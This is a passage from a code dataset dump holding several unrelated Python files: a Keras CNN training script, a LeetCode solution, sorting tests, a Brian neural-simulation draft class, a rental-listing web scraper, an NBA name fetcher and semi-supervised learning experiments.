'jet_flatten'))\n model_jet.add(Dense(300, activation='relu', name = 'jet_dense_1'))\n\n model_jet.add(Dropout(0.1))\n\n\n mergedOut = Concatenate()([model_event.output,model_jet.output])\n # mergedOut = Dense(1, activation='sigmoid')(mergedOut)\n mergedOut = Dense(4, activation='softmax')(mergedOut)\n\n newModel = Model([model_event.input,model_jet.input], mergedOut,name = 'Combined')\n\n\n model_opt = keras.optimizers.Adadelta()\n\n newModel.compile(loss=\"categorical_crossentropy\",#keras.losses.binary_crossentropy\n optimizer=model_opt,\n metrics=['accuracy'])\n newModel.summary()\n\nif int(file_index) == 2:\n newModel = load_model(\"./Models/2CNN_1n1c0c_1.h5\")\n\n\n\n######################################################################################\n# time counter\nprint(time.strftime(\"%a %b %d %H:%M:%S %Y\", time.localtime()))\nticks_1 = time.time()\n############################################################################################################################################################\ncheck_list=[]\ncsv_logger = CSVLogger(\"./Models/training_log_1n1c0c_\"+str(file_index)+\".csv\")\ncheckpoint = ModelCheckpoint(\n filepath=\"./Models/checkmodel_1n1c0c_\"+str(file_index)+\".h5\",\n save_best_only=True,\n verbose=1)\nearlystopping = EarlyStopping(\n monitor=\"loss\",\n min_delta=0.01,\n patience=50,\n verbose=1,\n mode=\"auto\",\n baseline=None,\n restore_best_weights=False,\n )\ncheck_list.append(checkpoint)\ncheck_list.append(csv_logger)\ncheck_list.append(earlystopping)\nnewModel.fit( (x_train_eve, x_train_jet), y_train,\n validation_data = ((x_val_eve, x_val_jet), y_val),\n batch_size=512,\n epochs=150,\n shuffle=True,\n callbacks=check_list,\n verbose=1)\n\nnewModel.save(\"./Models/2CNN_1n1c0c_\"+str(file_index)+\".h5\")\n\n############################################################################################################################################################\nticks_2 = time.time()\ntotaltime = ticks_2 - ticks_1\nprint(\"\\033[3;33mTime Cost : {:.4f} min\\033[0;m\".format(totaltime/60.))\n\n","sub_path":"analysis/Training_Code/2CNN_Train_1n_1c_0c.py","file_name":"2CNN_Train_1n_1c_0c.py","file_ext":"py","file_size_in_byte":12435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"484345358","text":"class Solution(object):\n def isSubsequence(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n mydict = self.createMap(t)\n lo = 0\n for char in s:\n if char not in mydict: return False\n indexList = mydict[char]\n i = bisect.bisect_left(indexList, lo)\n if i == len(indexList): return False\n lo = indexList[i]+1\n return True\n \n def createMap(self, t):\n mydict = collections.defaultdict(list)\n for i, item in enumerate(t):\n mydict[item].append(i)\n return mydict\n","sub_path":"392IsSubsequence.py","file_name":"392IsSubsequence.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"548305116","text":"import unittest\nfrom random import random\nfrom sorting import SORTERS\n\n\nclass SorterTest(unittest.TestCase):\n\n def test_empty(self):\n for sorter in SORTERS:\n self.assertEqual(len(sorter.sorted([])), 0)\n\n def test_one(self):\n for sorter in SORTERS:\n self.assertEqual(len(sorter.sorted([\"one\"])), 1)\n\n def test_number(self):\n l = [random() for i in range(100)]\n for sorter in SORTERS:\n self.assertEqual(sorter.sorted(l), sorted(l))\n\n def test_string(self):\n s = \"ailwefawlILWESFBNSLIEFWIWFleifwnslifenFLIWENLISNqrwpoueitrwezuiopgsdfjhklöaljkfyvmcx\"\n for sorter in SORTERS:\n self.assertEqual(sorter.sorted(s), sorted(s))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"codes/BuildLinks1.03/test_input/sort_codes/sortingtest.py","file_name":"sortingtest.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"574319751","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n\n\n@Date : Fri Nov 14 13:20:38 2014 \\n\n@Author : Erwan Ledoux \\n\\n\n\n\n\nA Brianer\n\n\"\"\"\n\n#\nimport ShareYourSystem as SYS\nBaseModuleStr=\"ShareYourSystem.Specials.Simulaters.Runner\"\nDecorationModuleStr=\"ShareYourSystem.Standards.Classors.Classer\"\nSYS.setSubModule(globals())\n#\n\n#\nfrom ShareYourSystem.Standards.Noders import Noder\nfrom ShareYourSystem.Specials.Simulaters import Populater\nimport operator\n#\n\n#\n@DecorationClass(**{\n\t'ClassingSwitchMethodStrsList':['brian']\n})\nclass BrianerClass(BaseClass):\n\t\n\t#Definition\n\tRepresentingKeyStrsList=[\n\t\t\t\t\t\t\t'BrianingTimeDimensionVariable',\n\t\t\t\t\t\t\t'BrianingPrintRunIsBool',\n\t\t\t\t\t\t\t'BrianedNetworkVariable',\n\t\t\t\t\t\t\t'BrianedClocksList',\n\t\t\t\t\t\t\t'BrianedSimulationClock',\n\t\t\t\t\t\t\t'BrianedNeuronGroupsList',\n\t\t\t\t\t\t\t'BrianedStateMonitorsList',\n\t\t\t\t\t\t\t'BrianedSpikeMonitorsList',\n\t\t\t\t\t\t\t'BrianedConnectionsList',\n\t\t\t\t\t\t]\n\n\tdef default_init(self,\n\t\t\t\t\t\t_BrianingTimeDimensionVariable=None,\n\t\t\t\t\t\t_BrianingPrintRunIsBool=True,\n\t\t\t\t\t\t_BrianedNetworkVariable=None,\n\t\t\t\t\t\t_BrianedClocksList=None,\n\t\t\t\t\t\t_BrianedSimulationClock=None,\n\t\t\t\t\t\t_BrianedNeuronGroupsList=None,\n\t\t\t\t\t\t_BrianedStateMonitorsList=None,\n\t\t\t\t\t\t_BrianedSpikeMonitorsList=None,\n\t\t\t\t\t\t_BrianedConnectionsList=None,\n\t\t\t\t\t\t**_KwargVariablesDict\n\t\t\t\t\t):\n\n\t\t#Call the parent __init__ method\n\t\tBaseClass.__init__(self,**_KwargVariablesDict)\n\n\tdef mimic_run(self):\n\n\t\t#brian first\n\t\tself.brian()\n\n\t\t#parent method\n\t\tBaseClass.run(self)\n\n\t\t#debug\n\t\tself.debug('We start running in brian')\n\n\t\t#run with the brian method\n\t\tself.BrianedNetworkVariable.run(\n\t\t\tself.RunningTimeFloat*self.BrianingTimeDimensionVariable\n\t\t)\n\n\t\t#debug\n\t\tself.debug('We stop running in brian')\n\n\tdef do_brian(self):\t\n\n\t\t#network first\n\t\tself.network(\n\t\t\t**{\n\t\t\t\t'RecruitingConcludeConditionVariable':[\n\t\t\t\t\t(\n\t\t\t\t\t\t'__class__.__mro__',\n\t\t\t\t\t\toperator.contains,Populater.PopulaterClass\n\t\t\t\t\t)\n\t\t\t\t]\n\t\t\t}\n\t\t)\n\n\t\t\"\"\"\n\t\t#populate\n\t\tmap(\n\t\t\t\tlambda __NetworkedDeriveConnecter:\n\t\t\t\t__NetworkedDeriveConnecter.populate(),\n\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t)\n\t\t\n\t\t\"\"\"\n\n\t\t#set the different times\n\t\tself.BrianedStepTimeFloatsList=list(\n\t\t\tset(\n\t\t\t\tSYS.flat(\n\t\t\t\t\tmap(\n\t\t\t\t\t\tlambda __BrianingDerivePopulater:\n\t\t\t\t\t\tSYS.unzip(\n\t\t\t\t\t\t\t__BrianingDerivePopulater.MoniteringStateTuplesList,\n\t\t\t\t\t\t\t[2]\n\t\t\t\t\t\t) if len(\n\t\t\t\t\t\t\t__BrianingDerivePopulater.MoniteringStateTuplesList\n\t\t\t\t\t\t)>0 else [],\n\t\t\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\n\t\t#debug\n\t\t'''\n\t\tself.debug(('self.',self,['BrianedStepTimeFloatsList']))\n\t\t'''\n\n\t\t#import \n\t\timport brian\n\n\t\t#Check\n\t\tif self.BrianingTimeDimensionVariable==None:\n\t\t\tself.BrianingTimeDimensionVariable=brian.ms\n\n\t\t#init\n\t\tself.BrianedNetworkVariable=brian.MagicNetwork()\n\t\t\n\t\t#set the clocks\n\t\tself.BrianedSimulationClock=brian.Clock(\n\t\t\t\t\t\t\t\tdt=self.SimulatingStepTimeFloat*self.BrianingTimeDimensionVariable\n\t\t\t\t\t\t\t)\n\t\tself.BrianedClocksDict=dict(\n\t\t\tmap(\n\t\t\t\tlambda __BrianedStepTimeFloat:\n\t\t\t\t(\n\t\t\t\t\tstr(__BrianedStepTimeFloat),\n\t\t\t\t\tbrian.Clock(\n\t\t\t\t\t\t\tdt=__BrianedStepTimeFloat*self.BrianingTimeDimensionVariable\n\t\t\t\t\t\t)\n\t\t\t\t),\n\t\t\t\tself.BrianedStepTimeFloatsList\n\t\t\t)\n\t\t\t,**{\n\t\t\t\t\tstr(\n\t\t\t\t\t\tself.SimulatingStepTimeFloat\n\t\t\t\t\t\t):self.BrianedSimulationClock\n\t\t\t\t}\n\t\t)\n\n\t\t#debug\n\t\tself.debug(('self.',self,['BrianedClocksDict']))\n\t\t\n\t\t#set clock to the neuron groups\n\t\tself.BrianedNeuronGroupsList=map(\n\t\t\t\tlambda __BrianingDerivePopulater:\n\t\t\t\t__BrianingDerivePopulater.__setitem__(\n\t\t\t\t\t'NeuronGroup',\n\t\t\t\t\tbrian.NeuronGroup(\n\t\t\t\t\t\t__BrianingDerivePopulater.PopulatingUnitsInt,\n\t\t\t\t\t\t__BrianingDerivePopulater.PopulatingEquationStr,\n\t\t\t\t\t\tclock=self.BrianedClocksDict[str(self.SimulatingStepTimeFloat)]\n\t\t\t\t\t)\n\t\t\t\t).NeuronGroup,\n\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t)\n\n\t\t#set the clocks and state monitors\n\t\tself.BrianedStateMonitorsList=SYS.flat(\n\t\t\tmap(\n\t\t\t\tlambda __BrianingDerivePopulater:\n\t\t\t\t\tmap(\n\t\t\t\t\t\t\tlambda __MoniteringStateTuple:\n\t\t\t\t\t\t\t__BrianingDerivePopulater.__setitem__(\n\t\t\t\t\t\t\t\tstr(__MoniteringStateTuple)+'StateMonitor',\n\t\t\t\t\t\t\t\tgetattr(\n\t\t\t\t\t\t\t\t\tbrian,\n\t\t\t\t\t\t\t\t\t'StateMonitor'\n\t\t\t\t\t\t\t\t)(\n\t\t\t\t\t\t\t\t\t__BrianingDerivePopulater.NeuronGroup,\n\t\t\t\t\t\t\t\t\t__MoniteringStateTuple[0],\n\t\t\t\t\t\t\t\t\trecord=__MoniteringStateTuple[1],\n\t\t\t\t\t\t\t\t\tclock=self.BrianedClocksDict[str(__MoniteringStateTuple[2])]\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t).SettingValueVariable,\n\t\t\t\t\t\t\t__BrianingDerivePopulater.MoniteringStateTuplesList\n\t\t\t\t\t),\n\t\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t\t)\n\t\t\t)\n\n\t\t#set the spike monitors\n\t\tself.BrianedSpikeMonitorsList=SYS.flat(\n\t\t\tmap(\n\t\t\t\tlambda __BrianingDerivePopulater:\n\t\t\t\t\tmap(\n\t\t\t\t\t\t\tlambda __MoniteringSpikeTuple:\n\t\t\t\t\t\t\t__BrianingDerivePopulater.__setitem__(\n\t\t\t\t\t\t\t\tstr(__MoniteringSpikeTuple)+'SpikeMonitor',\n\t\t\t\t\t\t\t\tgetattr(\n\t\t\t\t\t\t\t\t\tbrian,\n\t\t\t\t\t\t\t\t\t'SpikeMonitor'\n\t\t\t\t\t\t\t\t)(\n\t\t\t\t\t\t\t\t\t__BrianingDerivePopulater.NeuronGroup,\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t).SettingValueVariable,\n\t\t\t\t\t\t\t__BrianingDerivePopulater.MoniteringSpikeTuplesList\n\t\t\t\t\t),\n\t\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t\t)\n\t\t\t)\n\n\t\t#set the post synapses\n\t\tself.BrianedSpikeMonitorsList=SYS.flat(\n\t\t\t\tmap(\n\t\t\t\t\tlambda __BrianingDerivePopulater:\n\t\t\t\t\tmap(\n\t\t\t\t\t\t\tlambda __MoniteringSpikeTuple:\n\t\t\t\t\t\t\t__BrianingDerivePopulater.__setitem__(\n\t\t\t\t\t\t\t\tstr(__MoniteringSpikeTuple)+'SpikeMonitor',\n\t\t\t\t\t\t\t\tgetattr(\n\t\t\t\t\t\t\t\t\tbrian,\n\t\t\t\t\t\t\t\t\t'SpikeMonitor'\n\t\t\t\t\t\t\t\t)(\n\t\t\t\t\t\t\t\t\t__BrianingDerivePopulater.NeuronGroup,\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t).SettingValueVariable,\n\t\t\t\t\t\t\t__BrianingDerivePopulater.MoniteringSpikeTuplesList\n\t\t\t\t\t),\n\t\t\t\t\tself.NetworkedDeriveConnectersList\n\t\t\t\t)\n\t\t\t)\n\n\t\t#debug\n\t\t'''\n\t\tself.debug(('self.',self,['NetworkedConnectionTuplesList']))\n\t\t'''\n\n\t\t'''\n\t\t#set connections\n\t\tself.BrianedConnectionsList=map(\n\t\t\t\tlambda __ConnectionTuple:\n\t\t\t\tmap(\n\t\t\t\t\t\tlambda __ListedVariable:\n\t\t\t\t\t\t__ConnectionTuple[0].__setitem__(\n\t\t\t\t\t\t\tstr(\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t__ConnectionTuple[0].NodeKeyStr,\n\t\t\t\t\t\t\t\t\t__ListedVariable.NodeKeyStr\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)+'Connection',\n\t\t\t\t\t\t\tbrian.Connection(\n\t\t\t\t\t\t\t\t__ConnectionTuple[0].NeuronGroup,\n\t\t\t\t\t\t\t\t__ListedVariable.NeuronGroup\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t).SettingValueVariable,\n\t\t\t\t\t\t__ConnectionTuple[1][0]\n\t\t\t\t\t)+map(\n\t\t\t\t\t\tlambda __ListedVariable:\n\t\t\t\t\t\t__ListedVariable.__setitem__(\n\t\t\t\t\t\t\tstr(\n\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t__ListedVariable.NodeKeyStr,\n\t\t\t\t\t\t\t\t\t__ConnectionTuple[0].NodeKeyStr\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)+'Connection',\n\t\t\t\t\t\t\tbrian.Connection(\n\t\t\t\t\t\t\t\t__ListedVariable.NeuronGroup,\n\t\t\t\t\t\t\t\t__ConnectionTuple[0].NeuronGroup\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t).SettingValueVariable,\n\t\t\t\t\t\t__ConnectionTuple[1][1]\n\t\t\t\t\t),\n\t\t\t\tself.NetworkedConnectionTuplesList\t\n\t\t\t)\n\t\t'''\n\n\t\t\"\"\"\n\t\t#debug\n\t\t'''\n\t\tself.debug(('self.',self,['BrianedNeuronGroupsList']))\n\t\t'''\n\n\t\t#alias\n\t\tBrianedNetworkVariable=self.BrianedNetworkVariable\n\n\t\t#add\n\t\tmap(\n\t\t\t\tlambda __BrianedVariable:\n\t\t\t\tBrianedNetworkVariable.add(__BrianedVariable),\n\t\t\t\tself.BrianedNeuronGroupsList+self.BrianedConnectionsList+self.BrianedMonitorsList\n\t\t\t)\n\n\t\t#Check\n\t\tif self.BrianingPrintRunIsBool:\n\n\t\t\t#debug\n\t\t\tself.debug(('self.',self,[\n\t\t\t\t\t\t\t\t'BrianedSimulationClock'\n\t\t\t\t\t\t\t\t]))\n\n\n\t\t\t#define\n\t\t\t@brian.network_operation(\n\t\t\t\tself.BrianedSimulationClock\n\t\t\t)\n\t\t\tdef printControl():\n\n\t\t\t\t#Print Time\n\t\t\t\tprint(\n\t\t\t\t\t\"time is \"+str(\n\t\t\t\t\t\tself.BrianedSimulationClock.t*self.BrianingTimeDimensionVariable\n\t\t\t\t\t)\n\t\t\t\t)\n\n\t\t\t\t'''\n\t\t\t\t#Print NeuronGroup\n\t\t\t\tprint(\n\t\t\t\t\t\"variables are\"+str(\n\t\t\t\t\tself.BrianedNeuronGroupsList[0]\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\t\t'''\n\t\t\t\t\n\t\t\tself.BrianedNetworkVariable.add(printControl);\n\t\t\"\"\"\n#\n","sub_path":"Pythonlogy/ShareYourSystem/Standards/Recorders/Brianer/draft/__init__ copy.py","file_name":"__init__ copy.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"309213091","text":"import sys\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nimport time\n\nsys.path.append('/home/dan/PycharmProjects/DissertationProject/imobiliare')\nsys.path.append('/home/dan/PycharmProjects/DissertationProject')\nfrom imobiliare import header_imobiliare_functions\nfrom helper_functions import insert_headers_to_csv\n\nheaders = []\n\n\ndef main():\n try:\n\n base_url = 'https://www.imobiliare.ro/inchirieri-apartamente/timisoara/'\n\n # Instantiate webdriver using headless Chrome broswer\n options = Options()\n options.headless = True\n dr = webdriver.Chrome(ChromeDriverManager().install(), options=options)\n\n # Get main page of website\n dr.get(base_url)\n main_source = dr.page_source\n main_soup = BeautifulSoup(main_source, \"html.parser\")\n\n last_page = get_last_page(main_soup)\n\n for page_number in range(1, last_page + 1):\n # Loop until last page and get header URL's\n base_crawl_url = 'https://www.imobiliare.ro/inchirieri-apartamente/timisoara?pagina='\n next_page_url = base_crawl_url + str(page_number)\n dr.get(next_page_url)\n next_source = dr.page_source\n next_soup = BeautifulSoup(next_source, \"html.parser\")\n next_header_page_urls = header_imobiliare_functions.get_headers_page_urls(base_url, next_soup)\n for header_page_url in next_header_page_urls:\n # Loop through headers and get required information from header as dict\n dr.get(header_page_url)\n header_source = dr.page_source\n header_soup = BeautifulSoup(header_source, \"html.parser\")\n header_dict = header_imobiliare_functions.get_header_info(header_soup)\n headers.append(header_dict)\n print(header_dict)\n time.sleep(0.5)\n\n insert_headers_to_csv(\"/home/dan/PycharmProjects/DissertationProject/csv_files/\",\n \"timisoara_imobiliare.csv\", headers)\n\n except:\n insert_headers_to_csv(\"/home/dan/PycharmProjects/DissertationProject/csv_files/\",\n \"timisoara_imobiliare.csv\", headers)\n print(\"Exception occured\")\n\n\ndef get_last_page(soup_obj):\n pages_tag = soup_obj.find_all(\"a\", {\"class\": \"butonpaginare\"})\n last_page_tag = pages_tag[-2].contents\n page_num = int(last_page_tag[0])\n\n return page_num\n\n\nmain()\n","sub_path":"imobiliare/scrapper_timisoara_imobiliare.py","file_name":"scrapper_timisoara_imobiliare.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"487603117","text":"import requests\r\nimport time\r\nimport csv\r\n\r\n'''We need to use a for loop in order to get player first and last names. To bypass the rate limit \r\nof 60 requests per minute, use the time.sleep() method. Upload the results to a csv file'''\r\nname = []\r\n\r\nfor i in range(1,493):\r\n curl = \"https://www.balldontlie.io/api/v1/players/\" + str(i)\r\n response = requests.get(curl)\r\n player_name = response.json()['first_name'] +\" \"+ response.json()['last_name']\r\n name.append(player_name)\r\n time.sleep(1.05)\r\n\r\nwith open('name.csv','w') as f:\r\n writer = csv.writer(f)\r\n writer.writerow(name)\r\n\r\n\r\n\r\n\r\n","sub_path":"pull_name.py","file_name":"pull_name.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"517931964","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 31 08:21:14 2020\n\n@author: Shivadhar SIngh\n\"\"\"\n\ndef sum_odd_digits(number):\n dsum = 0\n # only count odd digits\n while number > 0:\n # add the last digit to the sum\n digit = number % 10\n if digit % 2 != 0 :\n dsum = dsum + digit\n# print(\"digit = \", digit)\n# print(dsum)\n # divide by 10 (rounded down) to remove the last digit\n number = number // 10\n return dsum\n\ndef sum_even_digits(number):\n m = 1 # the position of the next digit\n dsum = 0 # the sum\n while number % (10 ** m) != 0:\n # get the m:th digit\n digit = (number % (10 ** m)) // (10 ** (m - 1))\n print(\"digit =\",digit)\n # only add it if even:\n if digit % 2 == 0:\n dsum = dsum + digit\n print(dsum)\n# number = number // 10\n print(\"number = \",number)\n m = m+1\n print(m)\n return dsum","sub_path":"sum+of_odd_even_digits.py","file_name":"sum+of_odd_even_digits.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"21979699","text":"import time\nimport math\nimport operator\nimport numpy as np\nimport pandas as pd\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.metrics import make_scorer, log_loss\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder, LabelEncoder\nfrom future_encoder import ColumnTransformer\nfrom sklearn.utils import shuffle, resample\nfrom sklearn.base import clone\nfrom os import chdir, getcwd\n# from google.colab import drive\n\nPATH = 'originalData/'\n\ndef main():\n if getcwd() != '/Users/heyuhao/Desktop/cz4041_semisupervised/Emil':\n # drive.mount('/content/gdrive')\n chdir('/Users/heyuhao/Desktop/cz4041_semisupervised/Emil')\n\n DATASETS_10 = ['abalone-ssl10', 'australian-ssl10', 'banana-ssl10', 'coil2000-ssl10', 'magic-ssl10', 'spambase-ssl10', 'splice-ssl10']\n DATASETS_40 = ['abalone-ssl40', 'australian-ssl40', 'banana-ssl40', 'coil2000-ssl40', 'magic-ssl40', 'spambase-ssl40', 'splice-ssl40']\n ALL_DATASETS = DATASETS_10 + DATASETS_40\n CV_folds = 10\n\n CLASSIFIER_NAMES = [\n 'Decision Tree',\n 'k-Nearest Neighbors',\n 'Support-vector Machine'\n ]\n\n CLASSIFIERS = [\n DecisionTreeClassifier(max_depth = 5),\n KNeighborsClassifier(),\n SVC(gamma='auto', tol=0.005, probability=True)\n ]\n\n WRAPPER_NAMES = [\n 'Self-training',\n 'Tri-training',\n 'Tri-training with disagreement'\n ]\n WRAPPERS = [\n self_training,\n tri_training,\n tri_training_with_disagreement\n ]\n \n MULTI_NAMES = [\n 'Democratic Co-learning'\n ]\n MULTI = [\n democratic_co_learning\n ]\n \n DROP_RATES = [\n 0.0,\n 0.5\n ]\n \n print('Running experiments with {} data sets, {} base classifiers, {} wrappers, {} multi-classifier methods and {} dropout rates.'.format(\n len(ALL_DATASETS), len(CLASSIFIER_NAMES), len(WRAPPER_NAMES), len(MULTI_NAMES), len(DROP_RATES)))\n for dataset in ALL_DATASETS:\n print('\\n-----> Data set: {}'.format(dataset))\n X_tra_folds = []\n U_tra_folds = []\n Y_tra_folds = []\n X_tst_folds = []\n Y_tst_folds = []\n \n # Read in data\n for i in range(CV_folds):\n X_tra, U_tra, Y_tra , X_tst, Y_tst = prepare_data(dataset, i+1)\n X_tra_folds.append(X_tra)\n U_tra_folds.append(U_tra)\n Y_tra_folds.append(Y_tra)\n X_tst_folds.append(X_tst)\n Y_tst_folds.append(Y_tst)\n \n # Determine baseline accuracies for each classifier\n for i, clf in enumerate(CLASSIFIERS):\n acc = []\n for j in range(CV_folds):\n clf.fit(X_tra_folds[j], Y_tra_folds[j])\n acc.append(clf.score(X_tst_folds[j], Y_tst_folds[j]))\n \n cv_acc = sum(acc) / CV_folds\n print('{} baseline accuracy: {:.3f}'.format(CLASSIFIER_NAMES[i], cv_acc))\n \n \n for i, wrapper in enumerate(WRAPPERS):\n for drop_rate in DROP_RATES:\n if drop_rate == 0:\n print('\\n---> Algorithm: {} w/o dropouts'.format(WRAPPER_NAMES[i]))\n else:\n print('\\n---> Algorithm: {} w/ dropout rate {}'.format(WRAPPER_NAMES[i], drop_rate))\n \n for j, clf in enumerate(CLASSIFIERS):\n print('-> Classifier: {}'.format(CLASSIFIER_NAMES[j]))\n\n acc = []\n print('Cross-validation round', end=' ')\n for k in range(CV_folds):\n print(k , end=' ')\n acc.append(wrapper(clf, X_tra_folds[k], U_tra_folds[k], Y_tra_folds[k], X_tst_folds[k], Y_tst_folds[k], drop_rate))\n\n cv_acc = sum(acc) / CV_folds\n print('\\nCross-validation accuracy: {:.3f}'.format(cv_acc))\n \n for i, multi in enumerate(MULTI):\n for drop_rate in DROP_RATES:\n if drop_rate == 0:\n print('\\n---> Algorithm: {} w/o dropouts'.format(MULTI_NAMES[i]))\n else:\n print('\\n---> Algorithm: {} w/ dropout rate {}'.format(MULTI_NAMES[i], drop_rate))\n\n acc = []\n print('Cross-validation round', end=' ')\n for k in range(CV_folds):\n print(k , end=' ')\n acc.append(multi(CLASSIFIERS, X_tra_folds[k], U_tra_folds[k], Y_tra_folds[k], X_tst_folds[k], Y_tst_folds[k], drop_rate))\n\n cv_acc = sum(acc) / CV_folds\n print('\\nCross-validation accuracy: {:.3f}'.format(cv_acc))\n \n\ndef self_training(clf, X_train, U_train, Y_train, X_test, Y_test, drop_rate=0):\n U_residual = U_train\n U_augmentation = np.empty((0, U_train.shape[1]))\n U_labels = np.empty(0)\n \n threshold = 0.10\n max_iterations = 30\n \n for i in range(max_iterations):\n if U_residual.shape[0] == 0:\n break\n \n U_augmentation, U_labels = drop(U_augmentation, U_labels, drop_rate)\n X_augmented = np.concatenate([X_train, U_augmentation])\n Y_augmented = np.concatenate([Y_train, U_labels])\n \n clf.fit(X_augmented, Y_augmented)\n \n U_pred = clf.predict(U_train)\n U_prob = np.amax(clf.predict_proba(U_train), axis=1)\n \n U_res_prob = np.amax(clf.predict_proba(U_residual), axis=1)\n prob_threshold = np.amax(U_res_prob) - threshold\n \n aug_idx = np.nonzero(np.where(U_prob > prob_threshold, 1, 0))\n U_augmentation = U_train[aug_idx]\n U_labels = U_pred[aug_idx]\n \n res_idx = np.nonzero(np.where(U_prob > prob_threshold, 0, 1))\n U_residual = U_train[res_idx]\n \n return clf.score(X_test, Y_test)\n\n\ndef democratic_co_learning(clfs, X_train, U_train, Y_train, X_test, Y_test, drop_rate=0):\n num_of_clfs = len(clfs)\n U_idx = [[]] * num_of_clfs\n Y = [[]] * num_of_clfs\n e = [0] * num_of_clfs\n \n stopping_criteria = False\n while not stopping_criteria:\n w = []\n l = []\n for i in range(num_of_clfs):\n U_augmentation, U_labels = drop(U_train[U_idx[i]], np.array(Y[i]), drop_rate)\n \n X_augmented = np.concatenate((X_train, U_augmentation))\n Y_augmented = np.concatenate((Y_train, U_labels))\n clfs[i].fit(X_augmented, Y_augmented)\n acc = clfs[i].score(X_train, Y_train)\n acc_l = acc - 1.96 * math.sqrt(acc * (1 - acc) / Y_train.shape[0])\n w.append(acc)\n l.append(acc_l)\n \n X_prime = [[]] * num_of_clfs\n Y_prime = [[]] * num_of_clfs\n \n for x_idx, x in enumerate(U_train):\n c = []\n for clf in clfs:\n predicted_class = clf.predict(x.reshape(1, -1))\n c.append(predicted_class[0])\n \n ck = majority_class(c)\n if ck != -1:\n w_sum = {}\n for i in range(num_of_clfs):\n if c[i] in w_sum:\n w_sum[c[i]] += w[i]\n else:\n w_sum[c[i]] = w[i]\n if max(w_sum.items(), key=operator.itemgetter(1))[0] == ck:\n for i in range(num_of_clfs):\n if c[i] != ck and x_idx not in U_idx[i]:\n X_prime[i] = X_prime[i] + [x_idx]\n Y_prime[i] = Y_prime[i] + [ck]\n \n for i in range(num_of_clfs):\n if len(X_prime[i]) > 0:\n Li_size = len(Y[i]) + Y_train.shape[0]\n q = Li_size * (1 - 2*(e[i]/Li_size))**2\n\n Li_prime_size = len(Y_prime[i])\n acc_approx = sum(l[:i]) + sum(l[i+1:]) / (num_of_clfs - 1)\n e_prime = Li_prime_size * (1 - acc_approx)\n \n union_size = Li_size + Li_prime_size\n q_prime = union_size * (1 - 2*(e[i] + e_prime)/union_size)**2\n \n if q_prime > q:\n U_idx[i] = U_idx[i] + X_prime[i]\n Y[i] = Y[i] + Y_prime[i]\n e[i] += e_prime\n else:\n X_prime[i] = []\n \n stopping_criteria = all(len(x) == 0 for x in X_prime)\n \n test_preds = []\n for i in range(num_of_clfs):\n test_preds.append(clfs[i].predict(X_test))\n \n final_preds = majority_vote(test_preds)\n num_of_correct = np.nonzero(np.where(final_preds == Y_test, 1, 0))[0].shape[0]\n acc = num_of_correct / Y_test.shape[0]\n \n return acc\n \n \ndef majority_class(predictions):\n num_of_votes = {}\n \n for j in range(len(predictions)):\n vote = predictions[j]\n\n if vote in num_of_votes:\n num_of_votes[vote] += 1\n else:\n num_of_votes[vote] = 1\n\n winner = max(num_of_votes.items(), key=operator.itemgetter(1))[0]\n if num_of_votes[winner] > len(predictions) / 2:\n return winner\n else:\n return -1\n\n \ndef row_in_array(row, array): \n return any(np.array_equal(row, x) for x in array)\n\n\ndef tri_training(clf, X_train, U_train, Y_train, X_test, Y_test, drop_rate=0):\n num_of_clfs = 3\n clfs = []\n e_prime = []\n l_prime = []\n \n # Perform bootstrapping\n for i in range(num_of_clfs):\n sampled_X, sampled_Y = resample(X_train, Y_train)\n clf_clone = clone(clf)\n clfs.append(clf_clone.fit(sampled_X, sampled_Y))\n e_prime.append(1 - 1/np.unique(Y_train).shape[0])\n l_prime.append(0)\n\n stopping_criteria = False\n while not stopping_criteria:\n\n update = [False, False, False]\n X_augmented = [False, False, False]\n Y_augmented = [False, False, False]\n e = [False, False, False]\n l = [False, False, False]\n \n for i in range(num_of_clfs):\n e[i] = measure_error(clfs[i-2], clfs[i-1], X_train, Y_train)\n \n if e[i] < e_prime[i]:\n pred1 = clfs[i-1].predict(U_train)\n pred2 = 